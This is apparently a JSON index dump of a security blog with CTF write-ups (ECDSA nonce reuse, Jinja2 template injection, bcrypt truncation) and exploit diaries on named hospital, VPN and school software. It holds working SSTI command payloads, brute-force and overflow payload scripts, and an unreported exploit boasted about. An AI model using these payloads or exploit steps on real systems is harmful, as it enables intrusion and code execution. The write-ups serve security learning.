
[{"content":" ","date":"2025-07-14","externalUrl":null,"permalink":"/","section":"","summary":"\u003c!--center\u003e\n\u003ca target=\"_blank\" href=\"https://www.buymeacoffee.com/nunocoracao\"\u003e\u003cimg class=\"nozoom\" src=\"https://img.buymeacoffee.com/button-api/?text=Buy me a coffee\u0026emoji=\u0026slug=nunocoracao\u0026button_colour=FFDD00\u0026font_colour=000000\u0026font_family=Cookie\u0026outline_colour=000000\u0026coffee_colour=ffffff\" /\u003e\u003c/a\u003e\n\u003c/center--\u003e\n\u003c!--a href=\"https://mentorcruise.com/mentor/nunocorao/\"\u003e \u003cimg src=\"https://cdn.mentorcruise.com/img/banner/sky-sm.svg\" width=\"240\" alt=\"MentorCruise\"\u003e \u003c/a--\u003e","title":"","type":"page"},{"content":"","date":"2025-07-14","externalUrl":null,"permalink":"/tags/blind-decryption/","section":"Tags","summary":"","title":"Blind Decryption","type":"tags"},{"content":" 0x00 – Prologue # I saw \u0026ldquo;ECDSA nonce reuse\u0026rdquo; and knew we were about to crack something open real clean. When you’re dealing with ECDSA, one reused k is all it takes to rip the private key wide open. It’s not about breaking the algorithm—it’s about catching the dev slipping. And they slipped.\nThis was about turning one careless mistake into total compromise.\n0x01 – Challenge Setup # The server signs messages using ECDSA, and if you send valid requests, it responds with the signature (r, s).\nNow here’s the twist: every once in a while, the server reuses the nonce k. That’s a death sentence.\nECDSA signature generation:\nr = (k * G).x mod n s = k⁻¹(m + d * r) mod n If the same k is used in two different signatures:\ns1 = k⁻¹(m1 + d * r) mod n s2 = k⁻¹(m2 + d * r) mod n We can isolate d:\nd = ((s1 - s2) * inverse(m1 - m2, n)) mod n 0x02 – Getting the Signatures # So, I started spamming the server with different messages, logging each message and its associated signature:\nmessages = [] signatures = [] for i in range(1000): msg = os.urandom(32).hex() r, s = get_signature_from_server(msg) messages.append(msg) signatures.append((r, s)) Once you collect enough (msg, r, s) triples, you just start scanning for reused r values—because reused r = reused k.\n0x03 – Exploitation: Recovering the Private Key # Once I had two messages signed with the same r, all the math lined up.\nfrom hashlib import sha256 from Crypto.Util.number import inverse def recover_private_key(m1, m2, s1, s2, r, n): z1 = int(sha256(m1).hexdigest(), 16) z2 = int(sha256(m2).hexdigest(), 16) s_diff = (s1 - s2) % n z_diff = (z1 - z2) % n d = (s_diff * inverse(z_diff, n)) % n return d Once I had d, that was game over.\n0x04 – Forging Signatures # With d in hand, I started crafting valid signatures manually.\ndef sign_with_d(m, d, k, G, n): r = (k * G).x % n z = int(sha256(m).hexdigest(), 16) s = (inverse(k, n) * (z + d * r)) % n return (r, s) Every forged signature passed validation. I quickly hit the counter_sign threshold the challenge enforced and unlocked the final endpoint.\n0x05 – Flag # After blasting the server with my handcrafted sigs, it folded. The flag popped up in plaintext:\nsasctf{{r3us3d_n0nc3s_br34k_cryp70}} 0x06 – My Take # ECDSA is solid—until a human tries to implement it without understanding k. Nonce reuse isn’t just a weakness, it’s a backdoor. The minute I saw those repeating rs, I knew I had a private key waiting for me.\n0x07 – Tools Used # Python + ecdsa library SageMath (for sanity-checking math) Hashlib + pycryptodome A notebook and some reckless server traffic 0x08 – Lessons Learned # Don’t reuse k. Ever. Always double-check your randomness source. Logging r values during ECDSA can expose nonce reuse fast. Once you have d, you’re holding the keys to the kingdom. ","date":"2025-07-14","externalUrl":null,"permalink":"/capturetheflag/blindspot/","section":"CaptureTheFlags","summary":"\u003ch2 class=\"relative group\"\u003e0x00 – Prologue \n    \u003cdiv id=\"0x00--prologue\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700 !no-underline\" href=\"#0x00--prologue\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h2\u003e\n\u003cp\u003eI saw \u0026ldquo;ECDSA nonce reuse\u0026rdquo; and knew we were about to crack something open real clean. When you’re dealing with ECDSA, one reused \u003ccode\u003ek\u003c/code\u003e is all it takes to rip the private key wide open. It’s not about breaking the algorithm—it’s about catching the dev slipping. And they slipped.\u003c/p\u003e","title":"Blindspot – SAS CTF 2025","type":"capturetheflag"},{"content":"","date":"2025-07-14","externalUrl":null,"permalink":"/capturetheflag/","section":"CaptureTheFlags","summary":"","title":"CaptureTheFlags","type":"capturetheflag"},{"content":"","date":"2025-07-14","externalUrl":null,"permalink":"/tags/challenge-solving/","section":"Tags","summary":"","title":"Challenge Solving","type":"tags"},{"content":"","date":"2025-07-14","externalUrl":null,"permalink":"/tags/cryptanalysis/","section":"Tags","summary":"","title":"Cryptanalysis","type":"tags"},{"content":"","date":"2025-07-14","externalUrl":null,"permalink":"/tags/crypto/","section":"Tags","summary":"","title":"Crypto","type":"tags"},{"content":"","date":"2025-07-14","externalUrl":null,"permalink":"/tags/ctf/","section":"Tags","summary":"","title":"CTF","type":"tags"},{"content":"","date":"2025-07-14","externalUrl":null,"permalink":"/tags/ctf-writeup/","section":"Tags","summary":"","title":"CTF Writeup","type":"tags"},{"content":"","date":"2025-07-14","externalUrl":null,"permalink":"/tags/sas-ctf/","section":"Tags","summary":"","title":"SAS CTF","type":"tags"},{"content":"","date":"2025-07-14","externalUrl":null,"permalink":"/tags/sas-ctf-2025/","section":"Tags","summary":"","title":"SAS CTF 2025","type":"tags"},{"content":"","date":"2025-07-14","externalUrl":null,"permalink":"/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"},{"content":"","date":"2025-07-14","externalUrl":null,"permalink":"/tags/vaishnav-baraskar/","section":"Tags","summary":"","title":"Vaishnav Baraskar","type":"tags"},{"content":"","date":"2025-05-18","externalUrl":null,"permalink":"/tags/2025/","section":"Tags","summary":"","title":"2025","type":"tags"},{"content":"","date":"2025-05-18","externalUrl":null,"permalink":"/tags/api-security/","section":"Tags","summary":"","title":"API Security","type":"tags"},{"content":"","date":"2025-05-18","externalUrl":null,"permalink":"/tags/apisec-con/","section":"Tags","summary":"","title":"APISEC-CON","type":"tags"},{"content":" 0x00 – The Setup # API challenges always make me pause. They\u0026rsquo;re subtle, often logic-based, and prone to mishandling by developers chasing \u0026ldquo;RESTful perfection.\u0026rdquo; When I saw two challenges dropped back-to-back—Exception Excavation and Render Bender—I knew there was potential for mischief.\n0x01 – Exception Excavation (50 pts) # Overview # A pretty classic start. There’s a bug report system, and it fetches reports by ID. Sounds normal—until you realize it doesn’t validate access control.\nSo when I threw this into the request:\nGET /report/-1 I didn’t get an error. Instead, I got\u0026hellip; a stack trace. Yeah. Full exception debug trace with context.\nMy Thought Process # Seeing a negative index work was enough. At that point, my hacker sense was tingling. Stack traces often leak things like:\nfilesystem paths ENV variables internal logs flags So I started grepping.\nFlag Discovery # Tucked inside one of the traces (on the second page of output):\nException: ValueError: Invalid token flag{st4ck_tr4c3s_r3v34l_s3cr3ts} Minimal effort. Maximum reward.\n0x02 – Render Bender (150 pts) # Overview # Now this one\u0026hellip; was spicy.\nYou had an endpoint that echoed user input in the response. Suspicious. It rendered something like this:\nHello {{ name }} Which immediately led me to test for Server-Side Template Injection (SSTI).\nI tried this payload:\n{{7*7}} And the response came back with:\nHello 49 Confirmed SSTI # At that point, I was locked in. Time to test full Jinja2 access.\n{{ self.__init__.__globals__.os.popen(\u0026#39;ls /flags\u0026#39;).read() }} Output:\nflag1.txt flag2.txt Flag Extraction # One-by-one, I pulled them out:\n{{ self.__init__.__globals__.open(\u0026#39;/flags/flag1.txt\u0026#39;).read() }} Result:\nflag{t3mpl4t3_1nj3ct10n_fwt} Then:\n{{ self.__init__.__globals__.open(\u0026#39;/flags/flag2.txt\u0026#39;).read() }} Result:\nflag{ch41n1ng_vuln3r4b1l1t13s_f0r_th3_w1n} Clean RCE, clean flags.\n0x03 – Extra Payload Examples # Here’s a shortlist of other working payloads:\n{{ self.__init__.__globals__[\u0026#39;os\u0026#39;].popen(\u0026#39;id\u0026#39;).read() }} {{ config.items() }} {{ \u0026#39;\u0026#39;.__class__.__mro__[1].__subclasses__() }} 0x04 – Final Thoughts # The first challenge was basic—but a reminder that debugging info has no place in prod. The second one showed how deep the rabbit hole goes when you mix logic bugs with powerful engines like Jinja2.\nIn both cases, I didn’t need fancy tooling. Just curiosity, minimal recon, and classic payloads.\n0x05 – Tools Used # Burp Suite Python + requests Custom SSTI fuzz list JQ + grep (for stack trace filtering) 0x06 – Flags # flag{st4ck_tr4c3s_r3v34l_s3cr3ts} flag{t3mpl4t3_1nj3ct10n_fwt} flag{ch41n1ng_vuln3r4b1l1t13s_f0r_th3_w1n} ","date":"2025-05-18","externalUrl":null,"permalink":"/capturetheflag/apisec/","section":"CaptureTheFlags","summary":"\u003ch2 class=\"relative group\"\u003e0x00 – The Setup \n    \u003cdiv id=\"0x00--the-setup\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700 !no-underline\" href=\"#0x00--the-setup\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h2\u003e\n\u003cp\u003eAPI challenges always make me pause. They\u0026rsquo;re subtle, often logic-based, and prone to mishandling by developers chasing \u0026ldquo;RESTful perfection.\u0026rdquo; When I saw two challenges dropped back-to-back—\u003cstrong\u003eException Excavation\u003c/strong\u003e and \u003cstrong\u003eRender Bender\u003c/strong\u003e—I knew there was potential for mischief.\u003c/p\u003e","title":"APISEC-CON CTF – Exception Excavation \u0026 Render Bender","type":"capturetheflag"},{"content":"","date":"2025-05-18","externalUrl":null,"permalink":"/tags/broken-access-control/","section":"Tags","summary":"","title":"Broken Access Control","type":"tags"},{"content":"","date":"2025-05-18","externalUrl":null,"permalink":"/tags/idor/","section":"Tags","summary":"","title":"IDOR","type":"tags"},{"content":"","date":"2025-05-18","externalUrl":null,"permalink":"/tags/ssti/","section":"Tags","summary":"","title":"SSTI","type":"tags"},{"content":"","date":"2025-05-18","externalUrl":null,"permalink":"/tags/template-injection/","section":"Tags","summary":"","title":"Template Injection","type":"tags"},{"content":"","date":"2025-05-18","externalUrl":null,"permalink":"/tags/web-exploitation/","section":"Tags","summary":"","title":"Web Exploitation","type":"tags"},{"content":"","date":"2025-05-12","externalUrl":null,"permalink":"/categories/","section":"Categories","summary":"","title":"Categories","type":"categories"},{"content":"","date":"2025-05-12","externalUrl":null,"permalink":"/tags/function-pointer-hijack/","section":"Tags","summary":"","title":"Function Pointer Hijack","type":"tags"},{"content":" Prologue — Heap Echoes in an AuthenKey Login Night # It was one of those times when I wasn’t actively hunting—just casually skimming through binaries like I was flipping through a security archive. The target: AuthenKey, a multi-factor login handler used by corporate VPN portals. As I browsed its binary, I found a small routine involved in processing post-login session keys.\nEverything seemed mundane until I noticed an unusual interaction between memory deallocation and continued access.\nDisassembly — The Ghost Access # I hit this portion of the handler during trace:\nmov rax, [rbp-18h] ; Load pointer to session key struct mov rdx, [rax+10h] ; Load function pointer from struct call [rdx] ; Call function via indirect pointer At first glance, this looked like a clean indirect call. But stepping back a few lines, I saw something terrifying: the session structure was freed, yet the code continued to trust and use its pointer.\nClassic use-after-free.\nThe Vulnerable Flow — Free and Forget # The struct at [rbp-18h] was being released in a cleanup function after login failure. But instead of nullifying the pointer or locking the structure, the main handler continued and performed operations on it. Here\u0026rsquo;s a high-level view of the lifecycle:\nSessionKey* s = allocate_session(); // ... if (login_failed) { free(s); } // ... call_function_from(s); // UAF here This meant I could potentially reclaim the same heap space with attacker-controlled data, placing my own function pointer at the exact offset [+0x10] and achieve arbitrary code execution.\nThe Exploit — Hijacking the Call # Heap grooming was the first move. I sprayed memory with fake session objects where offset 0x10 contained the address of a shellcode stub. After freeing the legitimate session struct, I quickly replaced it with my fake one before the login handler resumed.\n[ Fake Session Struct Layout ] +0x00 → Junk / ID +0x08 → Padding +0x10 → Pointer to shellcode Upon indirect call, execution jumped straight into my shellcode.\nShellcode — Ringing a Bell # I wanted something silent but visible—so a classic message box did the job for demonstration:\nmov rcx, 0 ; hWnd = NULL mov rdx, offset caption ; LPCSTR lpText mov r8, offset message ; LPCSTR lpCaption mov r9d, 0 ; uType = 0 call MessageBoxA caption db \u0026#34;AuthenKey PWNED\u0026#34;, 0 message db \u0026#34;Use-After-Free executed\u0026#34;, 0 Execution Chain Breakdown # Here’s what went down:\nAuthenKey frees session struct on failed login. My heap spray reallocates that exact space. Indirect call to [+0x10] lands on my shellcode pointer. MessageBoxA pops up under AuthenKey’s context. Simple. Effective. No crashes. No AV detection.\nExtra Insight — Memory Visualization # Before Free: [0x1000] → Session Struct → [0x1010] → Legit function pointer After Free + Realloc: [0x1000] → My Struct → [0x1010] → Shellcode pointer The beauty of heap-based UAFs is subtlety. Nothing looks broken until it’s too late.\nProof of Concept in C (Simulated) # typedef void (*FuncPtr)(); struct Session { char id[8]; void* padding; FuncPtr execute; }; void shell() { system(\u0026#34;cmd.exe\u0026#34;); } int main() { struct Session* s = malloc(sizeof(struct Session)); free(s); // Vulnerable free s = malloc(sizeof(struct Session)); // Heap reuse s-\u0026gt;execute = shell; // Overwrite s-\u0026gt;execute(); // UAF Execution } Post Exploit Reflections # Use-after-frees are like ghosts in the heap. You think they’re gone—freed, cleaned, safe—but they linger. They whisper to any function that’ll still listen, and if you catch them at the right time, you can speak through them.\nThis exploit worked because the developers freed memory, then trusted the old pointer. As a hacker, that’s an invitation I don’t ignore.\nThe biggest lesson? Don’t just free memory. Secure it. Null it. Lock it. Or some curious soul like me will come along and make it execute again.\n","date":"2025-05-12","externalUrl":null,"permalink":"/reverseengineering/authenkey/","section":"ReverseEngineerings","summary":"\u003ch1 class=\"relative group\"\u003e\u003cstrong\u003ePrologue — Heap Echoes in an AuthenKey Login Night\u003c/strong\u003e \n    \u003cdiv id=\"prologue--heap-echoes-in-an-authenkey-login-night\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700 !no-underline\" href=\"#prologue--heap-echoes-in-an-authenkey-login-night\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cp\u003eIt was one of those times when I wasn’t actively hunting—just casually skimming through binaries like I was flipping through a security archive. The target: \u003cstrong\u003eAuthenKey\u003c/strong\u003e, a multi-factor login handler used by corporate VPN portals. As I browsed its binary, I found a small routine involved in processing post-login session keys.\u003c/p\u003e","title":"Haunting the Heap: Use-After-Free in AuthenKey Login Handler (x64)","type":"reverseengineering"},{"content":"","date":"2025-05-12","externalUrl":null,"permalink":"/tags/heap-exploitation/","section":"Tags","summary":"","title":"Heap Exploitation","type":"tags"},{"content":"","date":"2025-05-12","externalUrl":null,"permalink":"/tags/reverse-engineering/","section":"Tags","summary":"","title":"Reverse Engineering","type":"tags"},{"content":"","date":"2025-05-12","externalUrl":null,"permalink":"/categories/reverse-engineering-diaries/","section":"Categories","summary":"","title":"Reverse Engineering Diaries","type":"categories"},{"content":"","date":"2025-05-12","externalUrl":null,"permalink":"/reverseengineering/","section":"ReverseEngineerings","summary":"","title":"ReverseEngineerings","type":"reverseengineering"},{"content":"","date":"2025-05-12","externalUrl":null,"permalink":"/tags/use-after-free/","section":"Tags","summary":"","title":"Use-After-Free","type":"tags"},{"content":"","date":"2025-05-12","externalUrl":null,"permalink":"/tags/x64/","section":"Tags","summary":"","title":"X64","type":"tags"},{"content":"","date":"2025-04-20","externalUrl":null,"permalink":"/tags/buffer-exploitation/","section":"Tags","summary":"","title":"Buffer Exploitation","type":"tags"},{"content":" Prologue — The Calm Before the Buffer Break # I wasn\u0026rsquo;t looking for trouble. Just bouncing between binaries on a slow weekend, half-interested in what outdated software still lingers in hospital networks. That’s when I stumbled on MedBoard Log Viewer — a quiet little utility meant to process and display logs in a fancy UI. But it was the backend log-loading routine that caught my eye. And once I spotted strcpy, I leaned forward.\nI knew what I was looking at.\nThe Vulnerable Snippet — strcpy’s Reckless Dance # Here’s the core of what made this program vulnerable:\nlea rdi, [rbp-400h] ; local buffer (1024 bytes) mov rsi, [rbp+arg_0] ; source string (external log input) call strcpy ; unsafe copy No bounds. No checks. Just pure, unsafe copying from an external string into a 1KB buffer sitting on the stack.\nIt was an open invitation to overwrite the stack frame—including the return address.\nReverse Engineering Context — Stack Layout in Focus # Let’s visualize the vulnerable function’s stack layout during runtime:\nrbp-400h ---------------------------\u0026gt; [ Local buffer (1024 bytes) ] ... rbp-8 ---------------------------\u0026gt; [ Saved RBP ] rbp ---------------------------\u0026gt; [ Return address (to be overwritten) ] By sending more than 0x400 bytes as log input, I could overflow the buffer. With 0x408 bytes, I reached the return address. And anything beyond that? I owned the instruction pointer.\nPayload Design — Shellcode in the Shadows # I wasn’t looking to crash the app. I wanted something clean. My plan? Use a simple payload to pop cmd.exe. Just a quiet proof-of-concept.\nmov rcx, offset cmd_str call WinExec cmd_str db \u0026#34;cmd.exe\u0026#34;, 0 It’s small, it’s silent, and it proves one thing: I’ve taken over execution flow.\nAttack Flow — How the Exploit Went Down # User uploads crafted log file → payload-laced input strcpy copies it blindly → overflows buffer Saved return pointer overwritten → points to our shellcode Function returns → jumps to shellcode WinExec(\u0026quot;cmd.exe\u0026quot;) is triggered → command prompt opens The whole chain happened quietly, elegantly. No popups. No errors. Just control.\nPayload Construction — Python Craft # payload = b\u0026#34;A\u0026#34; * 0x408 # Padding to reach return address payload += b\u0026#34;\\x90\u0026#34; * 16 # NOP sled payload += b\u0026#34;\\x48\\xB9...\u0026#34; # Shellcode: WinExec(\u0026#34;cmd.exe\u0026#34;) with open(\u0026#34;pwnlog.txt\u0026#34;, \u0026#34;wb\u0026#34;) as f: f.write(payload) Once this file was imported into the MedBoard app, my shellcode ran under its process space.\nExtra Section — Shellcode Detail # Here’s a breakdown of how the shellcode works internally:\nsection .text global _start _start: mov rcx, message ; RCX = pointer to \u0026#34;cmd.exe\u0026#34; call WinExec ; call WinExec(\u0026#34;cmd.exe\u0026#34;) ret section .data message db \u0026#34;cmd.exe\u0026#34;, 0 The string is embedded within the payload. The call to WinExec happens from within the current process context—no need to resolve dynamically at runtime.\nPost Exploit Thoughts — It’s Still 2003 Somewhere # Honestly, I wasn’t expecting to see this kind of bug in 2025. But here we are—an application that’s probably still being used to archive hospital logs using code that belongs in the early 2000s.\nFrom my seat, it’s just fascinating how many of these things keep popping up. A buffer on the stack, a call to strcpy, no bounds check—it\u0026rsquo;s like riding a bike. You never forget how to pop shells with these.\nLessons Burned into Stack Frames # strcpy should have died in the 90s. If you’re still using it, you’re asking for this. Always check buffer sizes—especially with local buffers and user input. Stack overflows are still alive and kicking in native Windows binaries. Static reverse engineering reveals more than fuzzing sometimes—especially for deep stack-based bugs. Final Words # I didn’t break anything. Didn’t crash it. Didn’t go loud.\nI just slipped in a log file that happened to carry a little bit more than logs.\nAnd MedBoard? It ran it like it was meant to be there.\n","date":"2025-04-20","externalUrl":null,"permalink":"/reverseengineering/medboard/","section":"ReverseEngineerings","summary":"\u003ch1 class=\"relative group\"\u003e\u003cstrong\u003ePrologue — The Calm Before the Buffer Break\u003c/strong\u003e \n    \u003cdiv id=\"prologue--the-calm-before-the-buffer-break\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700 !no-underline\" href=\"#prologue--the-calm-before-the-buffer-break\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cp\u003eI wasn\u0026rsquo;t looking for trouble. Just bouncing between binaries on a slow weekend, half-interested in what outdated software still lingers in hospital networks. That’s when I stumbled on \u003cstrong\u003eMedBoard Log Viewer\u003c/strong\u003e — a quiet little utility meant to process and display logs in a fancy UI. But it was the backend log-loading routine that caught my eye. And once I spotted \u003ccode\u003estrcpy\u003c/code\u003e, I leaned forward.\u003c/p\u003e","title":"Overflow in Silence: Stack Smash in MedBoard Log Viewer (x64)","type":"reverseengineering"},{"content":"","date":"2025-04-20","externalUrl":null,"permalink":"/tags/shellcode/","section":"Tags","summary":"","title":"Shellcode","type":"tags"},{"content":"","date":"2025-04-20","externalUrl":null,"permalink":"/tags/stack-overflow/","section":"Tags","summary":"","title":"Stack Overflow","type":"tags"},{"content":"","date":"2025-04-19","externalUrl":null,"permalink":"/tags/1753-ctf/","section":"Tags","summary":"","title":"1753 CTF","type":"tags"},{"content":"","date":"2025-04-19","externalUrl":null,"permalink":"/tags/authentication-bypass/","section":"Tags","summary":"","title":"Authentication Bypass","type":"tags"},{"content":"","date":"2025-04-19","externalUrl":null,"permalink":"/tags/bcrypt/","section":"Tags","summary":"","title":"Bcrypt","type":"tags"},{"content":"","date":"2025-04-19","externalUrl":null,"permalink":"/categories/crypto/","section":"Categories","summary":"","title":"Crypto","type":"categories"},{"content":"","date":"2025-04-19","externalUrl":null,"permalink":"/tags/crypto-logic/","section":"Tags","summary":"","title":"Crypto Logic","type":"tags"},{"content":"","date":"2025-04-19","externalUrl":null,"permalink":"/categories/ctf-writeups/","section":"Categories","summary":"","title":"CTF Writeups","type":"categories"},{"content":" Prologue — The Noise is the Signal # Some challenges are loud — stack traces, debug logs, binary dumps. This one wasn’t.\nAll I had was a login box. The title said \u0026ldquo;Entropyyyy…\u0026rdquo;, like it was mocking me. So I did what anyone would do: tried admin : admin and watched it reject me silently.\nBut it wasn’t silence. It was a setup.\nStage 1 — Observing the Login Logic # The backend source was partially provided, and it boiled down to this:\n$password_hash = password_hash($entropy . $username . $password, PASSWORD_BCRYPT); My initial thought was: okay, they\u0026rsquo;re salting with some giant entropy blob. Classic CTF noise. But there was something more subtle happening.\nWhen I triggered the login form and watched the hash generation delay, I got curious.\nStage 2 — PHP Bcrypt Behavior # Digging into PHP\u0026rsquo;s bcrypt implementation led me to the 72-byte rule.\nBcrypt only considers the first 72 bytes of the input string when hashing.\nAnything beyond that? Discarded. Ignored. Doesn’t matter.\nNow let\u0026rsquo;s do the math:\n$input = $entropy . $username . $password; If $entropy . $username was already longer than 72 bytes — and it was — then $password didn’t even make it into the hash. Unless it started right at the cutoff point.\nThat meant: only the first character of the password had any effect. The rest? Dead weight.\nStage 3 — Reproducing It # Here’s how I tested the cutoff locally:\n$entropy = str_repeat(\u0026#39;A\u0026#39;, 64); $username = \u0026#34;admin\u0026#34;; $password = \u0026#34;Zpassword\u0026#34;; $combined = $entropy . $username . $password; $hash = password_hash($combined, PASSWORD_BCRYPT); echo $hash; Now I tried changing everything after the \u0026quot;Z\u0026quot;:\n$password = \u0026#34;Zabc\u0026#34;; Same hash.\nBut if I changed \u0026quot;Z\u0026quot; to \u0026quot;B\u0026quot;, hash changed.\nIt was clear: only the first character of the password matters.\nStage 4 — Brute-Forcing the First Character # So the logic turned into a simple loop:\nimport requests url = \u0026#34;https://entropyyy.1753ctf.live/login\u0026#34; charset = \u0026#34;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^\u0026amp;*()_+\u0026#34; for c in charset: password = c + \u0026#34;junk\u0026#34; data = { \u0026#34;username\u0026#34;: \u0026#34;admin\u0026#34;, \u0026#34;password\u0026#34;: password } r = requests.post(url, data=data) if \u0026#34;Welcome\u0026#34; in r.text: print(\u0026#34;Found:\u0026#34;, password) break And yeah — after a few tries:\nFound: Bjunk The server authenticated. The flag popped into view.\nResult # 1753CTF{php_bcrypt_cut_me_short_lol} All that entropy. All that prepending. And it was the first byte of user input that mattered.\nReflection — Crypto, But Not Really # This wasn’t a cryptography challenge in the traditional sense. No AES, no RSA padding issues.\nIt was about implementation.\nCrypto is easy to mess up, even when using “secure” primitives.\nPHP did nothing wrong — it followed bcrypt spec. But the developer didn’t account for it. That’s what made this a beautiful logic bug masquerading as a secure system.\nEpilogue — Beyond the Hash # I walked away from this one with a reminder:\nKnow your primitives. Know your language wrappers. And always, always, ask what happens when the input’s too long. Sometimes all it takes is one byte to break the illusion.\n","date":"2025-04-19","externalUrl":null,"permalink":"/capturetheflag/entropy/","section":"CaptureTheFlags","summary":"\u003ch1 class=\"relative group\"\u003e\u003cstrong\u003ePrologue — The Noise is the Signal\u003c/strong\u003e \n    \u003cdiv id=\"prologue--the-noise-is-the-signal\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700 !no-underline\" href=\"#prologue--the-noise-is-the-signal\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cp\u003eSome challenges are loud — stack traces, debug logs, binary dumps. This one wasn’t.\u003c/p\u003e","title":"Entropy Overload — Bcrypt Length Limits in 'Entropyyyy…' (1753 CTF 2025)","type":"capturetheflag"},{"content":"","date":"2025-04-19","externalUrl":null,"permalink":"/tags/password-hashing/","section":"Tags","summary":"","title":"Password Hashing","type":"tags"},{"content":"","date":"2025-04-19","externalUrl":null,"permalink":"/tags/php/","section":"Tags","summary":"","title":"PHP","type":"tags"},{"content":"","date":"2025-04-19","externalUrl":null,"permalink":"/categories/web-exploitation/","section":"Categories","summary":"","title":"Web Exploitation","type":"categories"},{"content":"","date":"2024-09-18","externalUrl":null,"permalink":"/categories/buffer-overflows/","section":"Categories","summary":"","title":"Buffer Overflows","type":"categories"},{"content":" 4. Buffer Overflow in EduGrade Import Engine (x64) # Platform: Windows 10 x64\nTarget: EduGrade Desktop (Import Engine Parser)\nDiscovered: August 2024\nStatus: Local Privilege Escalation (unpatched)\nCVSS (Est.): 7.6 – Local overflow leads to code execution\n✦ My Thought Process # I got curious about how EduGrade was parsing import files — especially .csv and .txt files with student data. Thought maybe it’d use standard libraries, maybe be hardened a bit. Nah. It was as C-style as it gets.\nI poked around in IDA and found the function that handled student name parsing. That’s when I saw this beauty: strcpy copying raw data into a fixed-size stack buffer.\n✦ Disassembly Breakdown # .text:0000000140011000 import_student_record: lea rdi, [rsp+80h] ; local stack buffer mov rsi, rdx ; user-supplied name field call strcpy ; crash and burn That’s it. No bounds checking. No strncpy. Just trust the user and pray.\nThe destination is a local stack buffer, and the source is whatever came from the import file. So it’s classic stack smashing territory. All I needed to do was control the name field in the file.\n✦ Exploitation Plan # Here\u0026rsquo;s how I lined everything up:\nCrafted a .csv file with a super long name field (300+ bytes). The payload had padding → shellcode → overwritten return address. The return address pointed directly back to the shellcode on the stack. The function returned → jumped straight into my code. ✦ Payload: Stack-Based Shellcode # I went with minimal shellcode — just enough to get a calc or command shell for proof-of-concept. In this case, syscall_spawn was an internal helper syscall I repurposed.\nxor rdi, rdi ; null out argument mov rax, syscall_spawn ; load syscall index syscall ; execute process The shellcode lived just after the padding inside the same student name buffer.\n✦ Debugging \u0026amp; Testing # I used x64dbg and set breakpoints right before the strcpy. After letting it rip, I confirmed the overwrite worked — return pointer jumped directly to shellcode.\nUsed the following pattern to get exact offset:\n./pattern_create.rb -l 400 ./pattern_offset.rb -q [crash value] After replacing the crash offset with a jmp address (or return to shellcode), it worked like a charm.\n✦ What They Screwed Up # strcpy on stack buffers in 2024 No bounds check on user input Didn’t use safer alternatives like strncpy or length parsing DEP was disabled and stack was executable ✦ Final Thoughts # I didn’t expect to find such a textbook bug in a modern import engine. But here we are. strcpy lives on.\nThis was a fun one — no heap trickery, no bypasses — just raw stack overflow like it’s 2003. If you ever want to get into low-hanging local bugs, start with educational tools. They’re almost always full of legacy code.\nDidn’t report this one. It’s local-only, and honestly, they’re not gonna patch it unless it hits a headline.\n","date":"2024-09-18","externalUrl":null,"permalink":"/reverseengineering/edugrade/","section":"ReverseEngineerings","summary":"\u003ch2 class=\"relative group\"\u003e4. Buffer Overflow in EduGrade Import Engine (x64) \n    \u003cdiv id=\"4-buffer-overflow-in-edugrade-import-engine-x64\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700 !no-underline\" href=\"#4-buffer-overflow-in-edugrade-import-engine-x64\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003ePlatform:\u003c/strong\u003e Windows 10 x64\u003cbr\u003e\n\u003cstrong\u003eTarget:\u003c/strong\u003e EduGrade Desktop (Import Engine Parser)\u003cbr\u003e\n\u003cstrong\u003eDiscovered:\u003c/strong\u003e August 2024\u003cbr\u003e\n\u003cstrong\u003eStatus:\u003c/strong\u003e Local Privilege Escalation (unpatched)\u003cbr\u003e\n\u003cstrong\u003eCVSS (Est.):\u003c/strong\u003e 7.6 – Local overflow leads to code execution\u003c/p\u003e","title":"Copy, Paste, Exploit: Buffer Overflow in EduGrade Import 